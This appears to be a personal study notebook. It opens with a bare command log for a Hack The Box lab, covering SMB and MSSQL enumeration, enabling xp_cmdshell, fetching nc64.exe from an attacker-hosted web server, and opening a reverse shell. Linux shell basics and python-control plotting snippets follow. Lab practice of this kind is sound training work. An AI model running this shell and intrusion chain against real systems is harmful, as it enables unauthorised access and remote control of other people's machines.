Sudo apt install nmap

nmap -sC -sV {TARGET_IP}

sudo apt install smbclient

smbclient -N -L \\\\{TARGET_IP}\\ -N : No password -L : This option allows you to look at what services are available on a server

smbclient -N \\\\{TARGET_IP}\\backups

apt search impacket  

sudo apt install impacket-scripts python3-impacket

impacket-mssqlclient.py ARCHETYPE/sql_svc@{TARGET_IP} -windows-auth

find ip addr of vpn using ip addr

SQL> EXEC xp_cmdshell 'net user';

EXEC sp_configure 'show advanced options', 1; 

RECONFIGURE; 

sp_configure; 

EXEC sp_configure 'xp_cmdshell', 1;

RECONFIGURE;

SQL> xp_cmdshell "whoami"cd Downloads

sudo python3 -m http.server 80

sudo nc -lvnp 443

SQL> xp_cmdshell "powershell -c pwd"

SQL>  xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads; wget http://10.10.14.9/nc64.exe -outfile nc64.exe

SQL> xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads; .\nc64.exe -e cmd.exe 10.10.14.139 443"

powershell 

wget http://10.10.14.9/winPEASx64.exe -outfile winPEASx64.exe

./winPEASx64.exe

impacket-psexec administrator@ipaddr

type and more can read txt 

https://github.com/carlospolop/PEASS-ng/releases/tag/refs/pull/260/merge

https://github.com/int0x33/nc.exe 

 Data Stream for Input

STDIN – 0

Data Stream for Output

STDOUT – 1

Data Stream for Output that relates to an error occurring.

STDERR – 2

 find /etc/ -name shadow 2>/dev/null

redirect errors to null

Redirect STDOUT to a File

find /etc/ -name shadow 2>/dev/null > results.txt

Redirect STDOUT and STDERR to Separate Files

find /etc/ -name shadow 2> stderr.txt 1> stdout.txt

Redirect STDIN

 cat < stdout.txt

Redirect STDOUT and Append to a File

 find /etc/ -name passwd >> stdout.txt 2>/dev/null

Redirect STDIN Stream to a File

cat << EOF > stream.txt

 End-Of-File (EOF) function of a Linux system file, which defines the input's end. 

Pipes

to use the STDOUT from one program to be processed by another. 

find /etc/ -name *.conf 2>/dev/null | grep systemd

find /etc/ -name *.conf 2>/dev/null | grep systemd | wc -l

Find 

 find / -type f -name *.conf -newermt 2020-03-03 -size +25k -size -28k -exec ls -al {} \; 2>/dev/null

-type f Hereby, we define the type of the searched object. In this case, 'f' stands for 'file'.

-name *.conf With '-name', we indicate the name of the file we are looking for. The asterisk (*) stands for 'all' files with the '.conf' extension.

-user root This option filters all files whose owner is the root user.

-size +20k We can then filter all the located files and specify that we only want to see the files that are larger than 20 KiB.

-newermt 2020-03-03 With this option, we set the date. Only files newer than the specified date will be presented.

-exec ls -al {} \; This option executes the specified command, using the curly brackets as placeholders for each result. The backslash escapes the next character from being interpreted by the shell because otherwise, the semicolon would terminate the command and not reach the redirection.

2>/dev/null This is a STDERR redirection to the 'null device', which we will come back to in the next section. This redirection ensures that no errors are displayed in the terminal. This redirection must not be an option of the 'find' command.

find no of backups (*.bak)

find / -type f -name *.bak -exec ls -al {} \; 2>/dev/null | wc -l

no of  pkg installed debian

apt list --installed | grep -c 'installed'

which cmdname

find location of cmd

locate name = search from database

sudo updatedb

npm install http-server

 http-server -p 8080

python 

python3 -m http.server

python -m http.server 8000

php

php -S localhost:8000

php -S 127.0.0.1:8080

src::

https://www.npmjs.com/package/http-server

https://docs.python.org/3/library/http.server.html

https://www.php.net/manual/en/features.commandline.webserver.php 

Less,more = page reader

head = 1st 10 line read

tail = last 10 line default

sort ::

cat /etc/passwd | sort

grep 

search for pattern

cat /etc/passwd | grep "/bin/bash"

exclude pattern with -

cat /etc/passwd | grep -v "false\|nologin"

cut

 cat /etc/passwd | grep -v "false\|nologin" | cut -d":" -f1

-f specifies field

-d delimiter (separator)  

TR

replace characters with others

first option, we define which character we want to replace, and as a second option, we define the character we want to replace it with

 cat /etc/passwd | grep -v "false\|nologin" | tr ":" " "

column

displays in column  form

cat /etc/passwd | grep -v "false\|nologin" | tr ":" " " | column -t

awk

first ($1) and last ($NF) result of the lin

cat /etc/passwd | grep -v "false\|nologin" | tr ":" " " | awk '{print $1, $NF}'

sed

The "s" flag at the beginning stands for the substitute command. Then we specify the pattern we want to replace. After the slash (/), we enter the pattern we want to use as a replacement in the third position. Finally, we use the "g" flag, which stands for replacing all matches.

cat /etc/passwd | grep -v "false\|nologin" | tr ":" " " | awk '{print $1, $NF}' | sed 's/bin/HTB/g'




wc

count lines

cat /etc/passwd | grep -v "false\|nologin" | tr ":" " " | awk '{print $1, $NF}' | wc -l

ss -l -4 | grep -v "127\.0\.0"

• -l: show only listening services
• -4: show only ipv4
• -grep -v "127.0.0": exclude all localhost results

netstat -ln4 | grep LISTEN | grep -v 127

curl https://www.inlanefreight.com > htb.txt && cat htb.txt | tr " " "\n" | cut -d"'" -f2 | cut -d'"' -f2 | grep "www.inlanefreight.com" | sort -u | wc -l

https://explainshell.com/explain?cmd=netstat+-ln4+%7C+grep+LISTEN+%7C+grep+-v+127+%7C+wc+-l

 conda install numpy scipy matplotlib # if not yet installed

conda install -c conda-forge control slycot

-----------------------------------------------------

# secord.py - demonstrate some standard MATLAB commands

# RMM, 25 May 09

import os

import matplotlib.pyplot as plt # MATLAB plotting functions

from control.matlab import * # MATLAB-like functions

# Parameters defining the system

m = 250.0 # system mass

k = 40.0 # spring constant

b = 60.0 # damping constant

# System matrices

A = [[0, 1.], [-k/m, -b/m]]

B = [[0], [1/m]]

C = [[1., 0]]

sys = ss(A, B, C, 0)

# Step response for the system

plt.figure(1)

yout, T = step(sys)

plt.plot(T.T, yout.T)

plt.show(block=False)

# Bode plot for the system

plt.figure(2)

mag, phase, om = bode(sys, logspace(-2, 2), plot=True)

plt.show(block=False)

# Nyquist plot for the system

plt.figure(3)

nyquist(sys)

plt.show(block=False)

# Root lcous plot for the system

rlocus(sys)

if 'PYCONTROL_TEST_EXAMPLES' not in os.environ:

    plt.show()

output:

src::

https://github.com/python-control/python-control

https://github.com/python-control/python-control/tree/master/examples

https://python-control.readthedocs.io/en/0.9.1/intro.html

https://anaconda.org/conda-forge/control

 

create transfer function 

https://python-control.readthedocs.io/en/0.9.1/generated/control.tf.html

>>> # Create a MIMO transfer function object
>>> # The transfer function from the 2nd input to the 1st output is
>>> # (3s + 4) / (6s^2 + 5s + 4).
>>> num = [[[1., 2.], [3., 4.]], [[5., 6.], [7., 8.]]]
>>> den = [[[9., 8., 7.], [6., 5., 4.]], [[3., 2., 1.], [-1., -2., -3.]]]
>>> sys1 = tf(num, den)

ploting

mag, phase, omega = bode(sys1)

from scipy import signal
import matplotlib.pyplot as plt
s1 = signal.lti([1], [1, 1])
w, mag, phase = signal.bode(s1)
plt.figure()
plt.semilogx(w, mag)    # bode magnitude plot
plt.figure()
plt.semilogx(w, phase)  # bode phase plot
plt.show()

conda install numpy matplotlib 

apt install vscodium 

-----------------------------

import numpy as np import matplotlib.pyplot as plt    # setting the axes proj as polar plt.axes(projection='polar')    # setting the length # and number of petals a = 1 n = 6    # creating an array # containing the radian values rads = np.arange(0, 2 * np.pi, 0.001)     # plotting the rose for rad in rads:     r = a * np.cos(n*rad)     plt.polar(rad, r, 'g.')     # display the polar plot plt.show() ---------------------------------

https://www.geeksforgeeks.org/plotting-polar-curves-in-python/

https://docs.conda.io/en/latest/miniconda.html